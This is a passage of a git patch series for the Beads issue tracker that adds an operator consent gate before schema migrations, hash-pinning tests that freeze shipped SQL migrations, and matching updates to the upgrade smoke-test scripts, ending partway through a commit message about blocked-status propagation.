t.Setenv(AllowMigrateEnv, "yes-please") + err := migrateConsentDecision(53, 12) + var consentErr *MigrateConsentError + if !errors.As(err, &consentErr) { + t.Fatalf("decision = %v, want *MigrateConsentError", err) + } + if consentErr.UnrecognizedEnv != "yes-please" { + t.Fatalf("UnrecognizedEnv = %q, want the unparseable value surfaced", consentErr.UnrecognizedEnv) + } + if !strings.Contains(consentErr.UserMessage(), "yes-please") { + t.Fatalf("UserMessage does not surface the unparseable env value:\n%s", consentErr.UserMessage()) + } +} + +// TestMigrateConsentError_AgentSurfacesNameNoRemedy pins the #4259 directive +// convention cmd/bd's JSON refusal is built on: Refusal and AgentDirective are +// the top-level fields an agent reads, so neither may carry a runnable +// migration or a consent env var; the migrate command lives only in the +// operator-gated "migrate" option. +func TestMigrateConsentError_AgentSurfacesNameNoRemedy(t *testing.T) { + e := &MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + for name, s := range map[string]string{"Refusal": e.Refusal(), "AgentDirective": e.AgentDirective()} { + for _, unwanted := range []string{SharedConsentCommand, "BD_ALLOW"} { + if strings.Contains(s, unwanted) { + t.Errorf("%s carries %q:\n%s", name, unwanted, s) + } + } + } + opts := e.Options() + if len(opts) != 2 || opts[0].ID != "migrate" || opts[1].ID != "keep" { + t.Fatalf("Options = %+v, want exactly migrate then keep", opts) + } + if len(opts[0].Commands) != 1 || opts[0].Commands[0] != SharedConsentCommand { + t.Errorf("migrate option commands = %q, want [%q]", opts[0].Commands, SharedConsentCommand) + } + if len(opts[1].Commands) != 0 { + t.Errorf("keep option commands = %q, want none", opts[1].Commands) + } +} + +// TestMigrateConsentError_WorkingSetWarning pins the warning a +// working-set-reconcile open prints when it continues past the refusal: it +// states the refusal and that the commit runs on the current schema, and it +// never offers the consent env var as the way forward. +func TestMigrateConsentError_WorkingSetWarning(t *testing.T) { + e := &MigrateConsentError{CurrentVersion: 65, LatestVersion: 69, Pending: 4} + w := e.WorkingSetWarning() + for _, want := range []string{e.Refusal(), "Working-set reconcile command: continuing on schema v65 without"} { + if !strings.Contains(w, want) { + t.Errorf("WorkingSetWarning missing %q:\n%s", want, w) + } + } + if strings.Contains(w, "BD_ALLOW") { + t.Errorf("WorkingSetWarning offers a consent env var:\n%s", w) + } +} diff --git a/internal/storage/schema/migration_freeze_test.go b/internal/storage/schema/migration_freeze_test.go new file mode 100644 index 000000000..678762e11 --- /dev/null +++ b/internal/storage/schema/migration_freeze_test.go @@ -0,0 +1,183 @@ +package schema + +import ( + "crypto/sha256" + "encoding/hex" + "io/fs" + "testing" +) + +// Migration freeze (Beads 1.2 release remediation). +// +// Migrations 0001–0066 (and ignored/ 0001–0026) are SHIPPED: the 1.2.x +// releases published schema v65 to thousands of installs and the 1.3.x +// releases added 0066 and ignored/ 0025–0026, so these files are now the +// de-facto on-disk contract of every migrated database. Amending a shipped +// migration forks installed schemas from freshly-migrated ones — the exact +// skew the smart gate's fork-skew detection exists to catch at runtime. This +// test catches it in CI instead: the content hash of every shipped +// up-migration is pinned; any change must land as a NEW migration, numbered +// after the newest file in its directory. When a release ships new +// migrations, raise the floors below and pin their hashes. +// +// If this test fails because you edited a shipped migration: revert the edit +// and write a new migration. There is no legitimate reason to update a pinned +// hash for an already-released version. + +const ( + frozenMainThrough = 66 + frozenIgnoredThrough = 26 +) + +var frozenMigrationHashes = map[string]string{ + "0001_create_issues.up.sql": "0c9bc4d97e2c5ee5d276c952333b934cd7d7d18210997d6bfd72d17f0fdb14f0", + "0002_create_dependencies.up.sql": "9ca011fa0b24ddf26f689eebf347cc2f80dc90256b099d91b993ec82c4d74da5", + "0003_create_labels.up.sql": "1780f0dc941d97b74af53d5603646d05e83d94eee5a02ac68ccf929200deaec0", + "0004_create_comments.up.sql": "35ac76b3d0b2d6287cad1329c77c8a0562bb6310ba0ac34ae273d72d4bed0e2a", + "0005_create_events.up.sql": "c8cbe4bebbe0f92c8a0ccc2a1a0d11ad442635811c2dab093c34c9341a8499b2", + "0006_create_config.up.sql": "435f5ef129dd4999a9b393c98d633038f0e443280a26e63f7d4315bf025dab1f", + "0007_create_metadata.up.sql": "f92c4d3dd32cae489142de34c4706900736c91cdc53b0d54e87e71656b828dc9", + "0008_create_child_counters.up.sql": "99db9b4b5a785ddd209dff628364c4c1eff549c3ca5ec48a64c604b15ef95bfb", + "0009_create_issue_snapshots.up.sql": "269ef83f083766b7f2fd2dfd2814ef36a585ae4aa18bcab0468a713d48595e48", + "0010_create_compaction_snapshots.up.sql": "cb34cbe311fd89a17d72067f449a65089f2fc9a7c4b3774d54448db5ebc3d659", + "0011_create_repo_mtimes.up.sql": "bde5204466541dddb53a652fe58561c08b6b3c1fa7feb38a0a582d432d76bda6", + "0012_create_routes.up.sql": "68e8ef1fc336e8ca6973f6b927b09d3206a7ebd96db9c4cdceab52fb8498c431", + "0013_create_issue_counter.up.sql": "7ddb30dabe32a66197de78f62400f41d000cf43d0ba8ba2a3943536504dddcdb", + "0014_create_interactions.up.sql": "0e17f1cb9fc5ee5a7c43ca8e02b9fd59814f8fd4372f9ffb17b50c34388614ce", + "0015_create_federation_peers.up.sql": "6aa04b3f66566b243c9a4fc09136af5c17f0ffe947a489245e3c451b995a59b9", + "0016_default_config.up.sql": "5d556c01404eb06acfb9df2b20fde36a2e91bd8a7d14462acbd3c0ae928ea286", + "0017_create_ready_issues_view.up.sql": "4bab7acbe2d8e441f156cc5912f421dcb214b9b08d7958eacc8e3a7318ab5f57", + "0018_create_blocked_issues_view.up.sql": "84dc6a3950a5447e6665e3d98b43f11a7631dc4e53bab1be332d135e51c9511f", + "0019_wisps_dolt_ignore.up.sql": "3df660feb6b64c84ef74c408fe8f5840a2815936534362ed123122f795a21c26", + "0020_create_wisps.up.sql": "bca95662441635454b879bb44ca1e607df9c5efd8fd802be3d53a7371a5ced86", + "0021_create_wisp_auxiliary.up.sql": "d19284a2be70a448db7746ae009cb264dc86dac0d9094aae9fe80a713a08ee70", + "0022_wisp_dep_type_index.up.sql": "fc1375e64620cd4264516718d8f924d88131881f4c00c51471b7630c11b74a45", + "0023_add_no_history_column.up.sql": "d11cd7cb462239e49c0b2f9b93ac73771106d5450ebc3422bb7737748c6f967b", + "0024_create_custom_status_type_tables.up.sql": "816da3feeed531ca9787dca8d4b8072dd94b64d573cf4b6751c61f2390c88a68", + "0025_update_ready_issues_view.up.sql": "09782d195f22d620ba41802856f9eb6e1a10f68bc5bcc8f3616624f8c28b576a", + "0026_update_blocked_issues_view.up.sql": "33daef6b5a07364fc5f59ab59b0f5c677dcf98d9bd0866c7c3bea874f1f01348", + "0027_add_started_at.up.sql": "dd3b58a8bbed4c49e855a6002981a285f10b6094938534dd3da9b121155f24d6", + "0028_local_state_dolt_ignore.up.sql": "24a816406a6f40c66db98697869d172b2b4366b107788fdd00f44b99abee45c3", + "0029_create_local_metadata.up.sql": "b989fc49ab03e06ff6520f150d6958efdbd3f444b69b824f7b4bb283ca6f2b65", + "0030_migrate_local_metadata_keys.up.sql": "8d55135274c1c75e722e802b250911cc574d52a4ba74fbb13edde84f30f9b3a4", + "0031_wisp_events_created_at_index.up.sql": "2d5cf3a6d4245b48c1b893efcc17b9fa25f1ea807e61290cf54064451fc58d93", + "0032_drop_schema_migrations_applied_at.up.sql": "42b86d6b7352f7e158532cc67f4afa142dc2503ce9f780733c06fc9da3478751", + "0033_add_wisp_type_column.up.sql": "9256746bb0d6ad9ed9afba0f0501259f0a3599b7d7da507dd7d808a13c688c75", + "0034_add_spec_id_column.up.sql": "7add95ead971c57618cfbc52e5cb6771d872785bfc035bde12cd27a76358848e", + "0035_migrate_infra_to_wisps.up.sql": "f917fe319540155572f5c51618cbbe20ec8b9b669d5926d68e3a62629c317c5a", + "0036_cleanup_autopush_metadata.up.sql": "e55f1870c2bc031c574b495ebca650365a9c8088d7a8968fb86a19cab81267e8", + "0037_uuid_primary_keys.up.sql": "7526beadee13aa7d6ee2175e9a543210b07c1a4426c382f251ebd31eebe32745", + "0038_drop_hop_columns.up.sql": "002dc637d45840487c35a01ce15cee04872baa45c21f8e20170a4339135a38e7", + "0039_drop_child_counters_fk.up.sql": "db65f241d1e82da41f34b960abc912f78b72e7dc1cb6dd2298974308edf8b768", + "0040_ignored_tables_also_nonlocal_tables.up.sql": "c7068d67ad3e2b4852549e04d97f25814121de83db919e220bdcb9bdd9b61e5e", + "0041_split_dependencies_target.up.sql": "e84ef393576df31550570fd3217579b1880850c0645b7d2b6ad8cf55a18ac1c0", + "0042_add_on_update_cascade.up.sql": "9d0fbb3d02955d25442c4a628ac518236068a97ecf164edbc814216bd5a55adc", + "0043_drop_dependencies_generated_column.up.sql": "548b8a69ab82179b7ee7ab3cc87ef00b3ae28d5a3a4976f42364f6939e384668", + "0044_update_views_drop_depends_on_id.up.sql": "531524854cc0e2361817d1ad94ba9470b0e81e378a5422ffb8bce71f3500adf9", + "0045_update_blocked_view_drop_depends_on_id.up.sql": "395dcbf186deedb592d8ed144e0b7953455efa0ccf02076d3b63e5e5d05dc241", + "0046_add_is_blocked.up.sql": "4d6a5a5fc5e386f2c538b4f3574b82fb2ba025176997953a0a4fbd2a91cddf68", + "0047_recompute_mixed_is_blocked.up.sql": "4aff5a7cc2e1e0250ce4cdb911d010c936681871fb627bceee4b2dc4647dd0a1", + "0048_widen_event_value_columns.up.sql": "093c7a41145508879844d16cbe5acfa69baddbb19bf3e05f00bc08720adea657", + "0049_longtext_large_content_columns.up.sql": "3359343efb7c28e5803de07e9088670489615d151843d7f23705f3ca8dd6a1e8", + "0050_dependencies_deterministic_id.up.sql": "96265ff898753f3bb34549fafa18bbaeb67519705b8cf4e32e67f1058df6841a", + "0051_drop_aux_id_defaults.up.sql": "deb741d5ac5fc1e0cd2e60eb47e84f384ed3455b18d3e2f12cb4e935fe461059", + "0052_add_date_indexes.up.sql": "60ae32bc26c41da2e743c1172f73930d18482b8a98aea08b9de85f6009f9c01d", + "0053_repair_rig_wisps.up.sql": "f13909f0db89f48db694a782d1805eee7ee1b2b2e4dcb3d4b12352333cbcb330", + "0054_add_lease_columns.up.sql": "2e51058ba15be9d87415949bb03c2c7c2f0e0743c5ae0d3e819b617d95f61680", + "0055_move_leases_to_table.up.sql": "2237ddbe13f5a783c65da3bb1292d9a5d89a5f22fddb0c33d2db57f1492df22c", + "0056_add_comments_keyset_index.up.sql": "acc28e9b1aa7272c16c86fcb9fd4a2038ae47729a60b53bb75f3a9df05cd3a82", + "0057_events_value_columns_idempotent_longtext.up.sql": "f86e0f77be2e58affe1c485767b8dd450408d782c0413a41948ca0c0b6d72d06", + "0058_heal_wisp_dependencies_split_constraints.up.sql": "9c1c6d557a03e71cf6b49123831c9f5b5f910fcea3ca51e982ec4acce04ea6ec", + "0059_recompute_null_gate_is_blocked.up.sql": "f0186029a1c87d579b67e0540ec22ad0bd0fc59793b07f7d24a24e122b77c394", + "0060_add_storage_class.up.sql": "40419632ba75d92dfcf08e16e77a780f014172a17068f6021937df9086a24588", + "0061_content_derived_aux_ids.up.sql": "d2d65b92789f137da8ee586067c862a9c7744921ccac421e1b793f42050b62a2", + "0062_events_dolt_ignore.up.sql": "c7de6089997344784a71e7d82ea5e417baaf66320b4533d225a4a6bc3c74222a", + "0063_create_provenance_events.up.sql": "1ef173be07ca58d17cb09ba3b3f5ca0c96edfcace8d52ae3adde2fd27e8248bd", + "0064_create_events_journal.up.sql": "25ea9ad8e849dc7e32e7c5850631bedc63a5c5da3bdc58ccb2762fd7a6c758fc", + "0065_widen_wisp_comments_text.up.sql": "c7341bb977daff92e073db2579e63058cef88d43f1e09b13fa153a772caac2a6", + "0066_add_events_journal_actor.up.sql": "a524d42ba0eced9350edbf6402dc2952957ff8f75a896bc8339c4cbc8596c793", +} + +var frozenIgnoredMigrationHashes = map[string]string{ + "0001_create_local_state_tables.up.sql": "a73e9a486124f89e90d50f4597fd1d7ad08e5d0d654459ec87b7520b47f1bb5f", + "0002_create_wisp_child_counters.up.sql": "c575c6710169f2e697f3aca60f5f698acc8a64af0edb1e2305b9d377fd845f45", + "0003_split_wisp_dependencies_target.up.sql": "f82947deeafe589598e2a1802eddf17712bd322692f924bb5653b0fbd5c46a0d", + "0004_add_wisp_aux_fks.up.sql": "12e18a8bdd214d6f96625e78998433ccc9c2d0ef4d1a35307f2653e725c800b9", + "0005_drop_wisp_dependencies_generated_column.up.sql": "08780b28ddef6c15f5de558ea08d821b52610f810555739ee1d737779986c607", + "0006_add_wisp_is_blocked.up.sql": "4746f10d7040d0b7a9e127437356de87765d12d2d27ee37c9800191e6b619d14", + "0007_recompute_wisp_is_blocked.up.sql": "c3c8d92846a54183cc99afc09f779f6f5ba8030c16ce46b3ee750314bf134627", + "0008_widen_wisp_event_value_columns.up.sql": "51375854ec081d2e0b1434b5ff8b6d87092b891636214ebb9f1dbef22438cc1a", + "0009_aux_row_id_rekey_marker.up.sql": "3d1ee4f9dde3342d110474c8090a30c474edafe2290e4372a3fc4607c1fdc030", + "0010_drop_wisp_id_defaults.up.sql": "59d6644667b7e34f9d23261cb694d461ddd4953969e75519d370b0cce8afd0e8", + "0011_cleanup_orphaned_child_counters.up.sql": "0efade0ecb620420ee42127d3f67230da108e31f2ff3c4281855a8dc9e187ecd", + "0012_create_leases.up.sql": "e128a1301a2bcb967f684b09318aa5cf7ed9adb5f6dd7d412de3d67d1de2b28d", + "0013_add_wisp_row_lock.up.sql": "127a4af7012769e5f016b13b198b7a57ff8386a10f8a68ffb9ff204989564d1b", + "0014_add_wisp_comments_keyset_index.up.sql": "29ad3654218700481b9541331c714ecbbe96dc81c04dc83fba6bf8d35bed7fa4", + "0015_recompute_null_gate_wisp_is_blocked.up.sql": "e761d5c3ceb9610edbb2e1d153e82d235cc7d7f0b87f28a45bec43835e6a4e19", + "0016_add_lease_granted_node.up.sql": "31a55421b78d8c90db6cfba5bf8e99e87d6123271575282f761aa077e5d36386", + "0017_add_wisps_defer_until_index.up.sql": "1f031aaf2037280e62cbf604748a4157bf25e3a60b3392af7d74835c5059bdd8", + "0018_aux_row_id_rekey2_marker.up.sql": "3c2120bf55d15e71a9f96972007c3d914154d17ea37a2b51b44412e3e3df6ef1", + "0019_create_events.up.sql": "db072d67a403e60d5bcbe924b84e473adb09f2326d36ede82fcdab17bb1e2a87", + "0020_add_wisp_storage_class.up.sql": "9ff476e6c73a3a477aec95143d5cbf180517a9484f647447392576f13181a015", + "0021_widen_wisp_large_content_columns.up.sql": "3cfa1e07a3d02eb7f791814d9642a93b9af3bf63728943afa05dcb0e489919c8", + "0022_create_events_journal.up.sql": "3d0adcb9f5833b4ba70fb48f88e1043250796feb7173abe000ea4de85eb8b3a5", + "0023_repair_events_journal_shape.up.sql": "d0edd83ca4cfbc46bd17799c6497a70c8c011d130d08a00c71daf792ee1dcd51", + "0024_widen_wisp_comments_text.up.sql": "69a96330e00643dfeddc4bf6ae9bf3b743a3cfddd86f16dc7b8912758b1b570d", + "0025_add_events_journal_actor.up.sql": "c81ca9edc80c25f6ab4f92d05d6ea412a780b108d1ed83745027440e9723dceb", + "0026_dep_rekey_dedup_marker.up.sql": "dc5c1b9a74e42184451796068ecba1ca11d8ebd0fe7e8c4bd4900d0cfee30446", +} + +func verifyFrozenMigrations(t *testing.T, fsys fs.FS, dir string, frozen map[string]string, frozenThrough int) { + t.Helper() + entries, err := fs.ReadDir(fsys, dir) + if err != nil { + t.Fatalf("reading embedded %s: %v", dir, err) + } + seen := map[string]bool{} + for _, entry := range entries { + if entry.IsDir() { + continue + } + name := entry.Name() + version, err := parseVersion(name) + if err != nil { + t.Fatalf("unparseable migration filename %q: %v", name, err) + } + if version > frozenThrough { + continue // not yet released — frozen when a release ships it + } + want, ok := frozen[name] + if !ok { + t.Errorf("shipped migration %s (v%d <= frozen floor %d) has no pinned hash — a released version was renamed or replaced; restore the original file", name, version, frozenThrough) + continue + } + seen[name] = true + content, err := fs.ReadFile(fsys, dir+"/"+name) + if err != nil { + t.Fatalf("reading embedded %s/%s: %v", dir, name, err) + } + sum := sha256.Sum256(content) + if got := hex.EncodeToString(sum[:]); got != want { + t.Errorf("shipped migration %s was AMENDED (hash %s, pinned %s) — shipped migrations are frozen; land the change as a new migration instead", name, got, want) + } + } + for name := range frozen { + if !seen[name] { + t.Errorf("pinned migration %s is missing from the embedded FS — a released version was deleted or renamed", name) + } + } +} + +// TestShippedMigrationsAreFrozen pins the content of every up-migration that a +// release has shipped. See the file comment for the policy. +func TestShippedMigrationsAreFrozen(t *testing.T) { + verifyFrozenMigrations(t, upMigrations, "migrations", frozenMigrationHashes, frozenMainThrough) +} + +// TestShippedIgnoredMigrationsAreFrozen is the ignored-sequence twin. The +// ignored tables are clone-local, so an amendment does not fork synced +// history — but it DOES make freshly-materialized clones diverge from +// long-lived ones, the same class of bug one plane over. +func TestShippedIgnoredMigrationsAreFrozen(t *testing.T) { + verifyFrozenMigrations(t, upIgnoredMigrations, "migrations/ignored", frozenIgnoredMigrationHashes, frozenIgnoredThrough) +} diff --git a/internal/storage/schema/remote_migrate_gate.go b/internal/storage/schema/remote_migrate_gate.go index 5ca3d2a15..13630f4e9 100644 --- a/internal/storage/schema/remote_migrate_gate.go +++ b/internal/storage/schema/remote_migrate_gate.go @@ -523,7 +523,8 @@ func (e *RemoteMigrateGateError) AgentDirective() string { } } -// GateOption is one conditional remediation path for the remote-migrate gate. +// GateOption is one conditional remediation path for the remote-migrate gate +// (and the migration-consent gate, MigrateConsentError.Options). // It is intentionally conditional (When) and carries its Risk, so an agent // cannot treat any single command as the unconditional fix. type GateOption struct { diff --git a/internal/storage/schema/schema.go b/internal/storage/schema/schema.go index b9dae90b6..29187c54b 100644 --- a/internal/storage/schema/schema.go +++ b/internal/storage/schema/schema.go @@ -269,8 +269,8 @@ type SchemaBehindError struct { } func (e *SchemaBehindError) Error() string { - return fmt.Sprintf("schema version mismatch: database is at v%d, binary expects v%d, and the read-only open cannot migrate it; run any bd write command in that workspace to migrate, or set BD_IGNORE_SCHEMA_SKEW=1 to read anyway (queries touching newer schema may fail)", - e.DBVersion, e.BinaryVersion) + return fmt.Sprintf("schema version mismatch: database is at v%d, binary expects v%d; bd does not migrate a database without explicit consent — run `bd migrate schema` in that workspace to migrate, keep using a bd release that matches schema v%d, or set BD_IGNORE_SCHEMA_SKEW=1 to read anyway (queries touching newer schema may fail)", + e.DBVersion, e.BinaryVersion, e.DBVersion) } // IsSchemaBehindError reports whether err (or any error it wraps) is a @@ -734,6 +734,21 @@ func MigrateUpTo(ctx context.Context, db DBConn, maxVersion int) (int, error) { } func MigrateUp(ctx context.Context, db DBConn) (int, error) { + // Consent gate first, before ANY write — dolt_ignore seeding included: an + // existing database with pending main-sequence migrations must stay + // byte-identical when the operator has not consented (see + // migrate_consent.go). Fresh and already-current databases pass through. + if err := checkMigrateConsent(ctx, db); err != nil { + return 0, err + } + return migrateUpConsented(ctx, db) +} + +// migrateUpConsented is MigrateUp past its consent gate. It exists for the one +// caller whose consent the gate's version test cannot see: an open holding +// fresh-bootstrap heal authority, which proves it created the database it is +// migrating (see MigrateUpWithLock). Every other caller goes through MigrateUp. +func migrateUpConsented(ctx context.Context, db DBConn) (int, error) { // Re-assert the canonical dolt_ignore patterns before anything else, and // in particular before the migrationWorkNeeded short-circuit: a database // whose migration cursors arrived at-latest without executing the seeding diff --git a/internal/storage/uow/team_server_integration_test.go b/internal/storage/uow/team_server_integration_test.go index 2f1df42fc..20615be64 100644 --- a/internal/storage/uow/team_server_integration_test.go +++ b/internal/storage/uow/team_server_integration_test.go @@ -241,7 +241,7 @@ func TestTeamServerMode_Integration(t *testing.T) { require.Error(t, err) assert.Nil(t, p) assert.Contains(t, err.Error(), "bts migrate") - assert.NotContains(t, err.Error(), "run any bd write command", + assert.NotContains(t, err.Error(), "bd migrate schema", "must not suggest bd-driven migration on a bts-owned schema") assert.Equal(t, rolledBack, snapshotMigrations(t, ctx, direct), diff --git a/internal/storage/uow/team_server_schema.go b/internal/storage/uow/team_server_schema.go index d83aca3e1..f91ca3b0d 100644 --- a/internal/storage/uow/team_server_schema.go +++ b/internal/storage/uow/team_server_schema.go @@ -26,7 +26,7 @@ func checkTeamServerSchema(ctx context.Context, conn schema.DBConn, database str case current < latest: // No BD_IGNORE_SCHEMA_SKEW hatch here: it would let a newer bd write // against an older bts schema. Not SchemaBehindError either: its "run - // any bd write command to migrate" advice is wrong for a bts-owned schema. + // `bd migrate schema`" advice is wrong for a bts-owned schema. return fmt.Errorf( "uow: database %q is at schema v%d, this bd expects v%d; the schema is managed by beads-team-server — ask your operator to run 'bts migrate', or use a bd built against schema v%d", database, current, latest, current) diff --git a/internal/storage/uow/team_server_schema_test.go b/internal/storage/uow/team_server_schema_test.go index fb35bcb56..2b866eb23 100644 --- a/internal/storage/uow/team_server_schema_test.go +++ b/internal/storage/uow/team_server_schema_test.go @@ -108,7 +108,7 @@ func TestCheckTeamServerSchema_Behind_RefusesWithBtsMigrate(t *testing.T) { if !strings.Contains(err.Error(), "bts migrate") { t.Errorf("error %q should point at 'bts migrate'", err) } - if strings.Contains(err.Error(), "run any bd write command") { + if strings.Contains(err.Error(), "bd migrate schema") { t.Errorf("error %q must not suggest bd-driven migration on a bts-owned schema", err) } } diff --git a/internal/storage/uow/testmain_test.go b/internal/storage/uow/testmain_test.go index 165b8b644..880451b46 100644 --- a/internal/storage/uow/testmain_test.go +++ b/internal/storage/uow/testmain_test.go @@ -6,6 +6,7 @@ import ( "testing" "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/storage/schema" "github.com/steveyegge/beads/internal/testutil" ) @@ -33,6 +34,12 @@ func TestMain(m *testing.M) { } func testMainInner(m *testing.M) int { + // Package-wide migration consent: these tests exercise the + // provider/bootstrap machinery that runs BELOW the consent gate + // (schema/migrate_consent.go), exactly as production does once an operator + // has consented. + schema.SetLocalMigrateConsent(true) + // Clear out the roots of earlier runs of this suite whose process is // gone, before claiming one of our own. Roots with no owner marker, and // roots whose owner is still running (a parallel package under diff --git a/scripts/migration-test/historical-dolt-upgrade-test.sh b/scripts/migration-test/historical-dolt-upgrade-test.sh index 927b1388e..9dfb45223 100755 --- a/scripts/migration-test/historical-dolt-upgrade-test.sh +++ b/scripts/migration-test/historical-dolt-upgrade-test.sh @@ -1038,6 +1038,18 @@ run_embedded_dolt_upgrade() { jq -e '.backend == "dolt" and .dolt_mode == "embedded"' "$metadata" >/dev/null || die "$version: source metadata does not select embedded Dolt" metadata_sha=$(sha256_file "$metadata") || die "$version: could not fingerprint source metadata" + # Migration-consent gate (Beads 1.2 remediation): the candidate no longer + # migrates an existing database from ordinary commands, so the explicit + # schema migration is now the FIRST candidate step — previously it ran + # later and was already a no-op because the first candidate open had + # silently migrated. Same effective sequence, now stated. Before + # consenting, assert the gate actually refuses an ordinary command. + if run_in_workspace "$candidate" list >/dev/null 2>"$workspace/consent-refusal.err"; then + die "$version: candidate operated an un-migrated database without consent" + fi + grep -q 'bd migrate schema' "$workspace/consent-refusal.err" || + die "$version: consent refusal did not carry migration guidance" + migrate_schema_current "$version" first verify_surviving_fixture "$version" direct if [ "$version" = v1.0.0 ]; then [ "$(run_in_workspace "$candidate" config get status.custom)" = review:active ] || die "$version: candidate did not preserve custom status config" @@ -1056,7 +1068,6 @@ run_embedded_dolt_upgrade() { blocker=$(sed -n '2p' "$workspace/fixture-ids") run_in_workspace "$candidate" show "$blocker" --json > "$workspace/after-first.json" jq -S . "$workspace/after-first.json" > "$workspace/after-first-canonical.json" - migrate_schema_current "$version" first verify_idempotent_migration "$version" direct run_in_workspace "$candidate" show "$task" --json --include-comments | jq -S . > "$workspace/direct-after-noops.json" @@ -1692,10 +1703,12 @@ run_wisp_plane_upgrade() { # First candidate touch runs the full MigrateUp under the standard per-op # timeout. A dirty-table refusal or a migration error here is the headline - # failure class for this lane. + # failure class for this lane. The migration-consent gate makes an ordinary + # command refuse an un-migrated database, so the explicit schema migration + # is that first touch (as in run_embedded_dolt_upgrade); the open follows. + migrate_schema_current "$version" wisp-first run_in_workspace "$candidate" list --json -n 0 --all > "$workspace/wisp-first-open.json" || die "$version: candidate could not open the seeded wisp workspace" - migrate_schema_current "$version" wisp-first snapshot_wisp_plane "$version" after # Read-only assertions first: the events count must be observed before any @@ -1767,8 +1780,10 @@ run_dirty_tracked_wisp_scenario() { before=$(oracle_count "$version" 'SELECT COUNT(*) FROM wisps') output="$workspace/dirty-tracked-open.out" # run_in_workspace already wraps every call in `timeout`, so a hard-lock - # surfaces as a timeout kill rather than hanging the job. - if run_in_workspace "$candidate" list --json -n 0 --all > "$output" 2>&1; then + # surfaces as a timeout kill rather than hanging the job. The open is the + # consented `migrate schema`: an ordinary command now stops at the + # migration-consent gate before MigrateUp ever reaches the dirty tables. + if run_in_workspace "$candidate" migrate schema > "$output" 2>&1; then printf ' · candidate accepted the dirty tracked wisp tables\n' else grep -Fq 'dirty tables' "$output" || diff --git a/scripts/upgrade-smoke-test.sh b/scripts/upgrade-smoke-test.sh index 52b05fbf2..256284339 100755 --- a/scripts/upgrade-smoke-test.sh +++ b/scripts/upgrade-smoke-test.sh @@ -223,6 +223,17 @@ cand() { (cd "$WS" && "$CAND_BIN" "$@"); } prev_init() { prev init --quiet --non-interactive --skip-hooks --skip-agents; } cand_init() { cand init --quiet --non-interactive --skip-hooks --skip-agents; } +# Upgrade an existing workspace to the candidate. Since the migration-consent +# gate (Beads 1.2 release remediation) the candidate never migrates an +# existing database from ordinary commands — `bd migrate schema` is the +# consent step every real upgrade now includes, so the smoke upgrade includes +# it too. Tolerates a workspace the old binary could not initialize (the +# migrate is a no-op failure there and cand_init creates a fresh database). +cand_upgrade() { + cand migrate schema >/dev/null 2>&1 || true + cand_init 2>/dev/null || true +} + # Create an issue with the previous binary, tolerating missing --silent flag. # Older binaries don't have --silent; we just need to know creation succeeded. # Sets _CREATED_ID to a non-empty value on success. @@ -260,8 +271,27 @@ prev_create --title "Pre-upgrade issue" --type task --priority 1 || true ID1="${_CREATED_ID}" prev_create --title "Another issue" --type bug || true -# Upgrade: run candidate init (simulates upgrade) -cand_init 2>/dev/null || true +# Migration-consent gate: before consenting, an ordinary candidate command on +# the old-schema database must either work as-is (previous release already +# ships the candidate's schema — nothing pending) or refuse WITH the consent +# guidance. A failure without the guidance is a regression. Graded only when +# the old binary left a database to gate: releases before v1.0 have no +# `init --non-interactive`, so prev_init creates nothing there. +if ! embedded_db_exists; then + pass "Consent gate check skipped (old binary could not initialize a database)" +else + GATE_OUT=$(cand list 2>&1) && GATE_RC=0 || GATE_RC=$? + if [ "$GATE_RC" -eq 0 ]; then + pass "Candidate operates database directly (schema already current)" + elif echo "$GATE_OUT" | grep -q "bd migrate schema"; then + pass "Candidate refuses un-migrated database with consent guidance" + else + fail "Candidate failed on old database without consent guidance" + fi +fi + +# Upgrade: consent + candidate init (simulates upgrade) +cand_upgrade # Verify ROLE=$(git -C "$WS" config --get beads.role 2>/dev/null || echo "MISSING") @@ -307,7 +337,7 @@ prev_init 2>/dev/null || true git -C "$WS" config beads.role contributor # Upgrade -cand_init 2>/dev/null || true +cand_upgrade ROLE=$(git -C "$WS" config --get beads.role 2>/dev/null || echo "MISSING") if [ "$ROLE" = "contributor" ]; then @@ -341,7 +371,7 @@ else fi # Upgrade with candidate (always runs — verifies candidate defaults to embedded) -cand_init 2>/dev/null || true +cand_upgrade # Verify candidate created an embedded DB if embedded_db_exists; then @@ -411,8 +441,8 @@ if [ -z "${MUT_ID:-}" ]; then else pass "Issue created with previous binary (id: $MUT_ID)" - # Upgrade: run candidate init - cand_init 2>/dev/null || true + # Upgrade: consent + candidate init + cand_upgrade # Mutate using the candidate binary cand update "$MUT_ID" --notes "smoke test mutation" 2>/dev/null || true @@ -479,8 +509,8 @@ if ! $DEP_CREATED; then else pass "Dependency created with previous binary ($BLOCKED_ID depends on $BLOCKER_ID)" - # Upgrade (runs migrations 0041–0047, including the data-copy). - cand_init 2>/dev/null || true + # Upgrade (consents to and runs migrations 0041+, including the data-copy). + cand_upgrade # 1. Blocker queries must not error on the migrated dependency rows. if cand ready >/dev/null 2>&1; then @@ -573,8 +603,8 @@ else pass "Wisp dependency skipped (old binary could not block a wisp on a task)" fi - # Upgrade. - cand_init 2>/dev/null || true + # Upgrade: consent + candidate init + cand_upgrade # 1. The wisp survived the 0054-0066 + ignored 0012-0025 replay. --all # because the default listing hides closed wisps. From 2cae0c1ad8412db748aa959838a504388f39d567 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 08:31:34 +0000 Subject: [PATCH 171/325] fix(storage): a parent-child edge propagates only the parent's exogenous blockedness (#6506) (#6602) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(storage): parent-child cascade propagates only exogenous blockedness (wy-3eb07b, #6506) A parent-child edge used to cascade the parent's is_blocked bit to its children WHATEVER set it. So the "close gate on the epic" idiom — P carries blocks edges onto its own children C1 and C2 so P cannot close before them — darkened the very children P was waiting for. Neither child could reach bd ready, so neither could be worked, so neither could close: a permanent lock, and the one direction cmd/bd/dep.go does not refuse. The contract (#6506): a parent-child edge propagates only EXOGENOUS blockedness. P counts as blocked FOR CHILD C iff P has a blocking reason — an open blocks/conditional-blocks target, or a live waits-for gate — whose target is NOT one of P's own parent-child children, or P's own parent is (recursively) exogenously blocked. P's OWN is_blocked is unchanged: it really does depend on open children. Only the propagation narrows. DESIGN: a second-pass predicate on the parent row, not WITH RECURSIVE. Both parent-child legs of shouldBeBlockedIDsUnionScopedSQL keep their p.is_blocked = 1 conjunct and gain parentCascadesBlockedSQL, which says "p's blockedness is not solely explained by p's own children": EXISTS (blocking reason of p whose target is not p's child) OR NOT EXISTS (blocking reason of 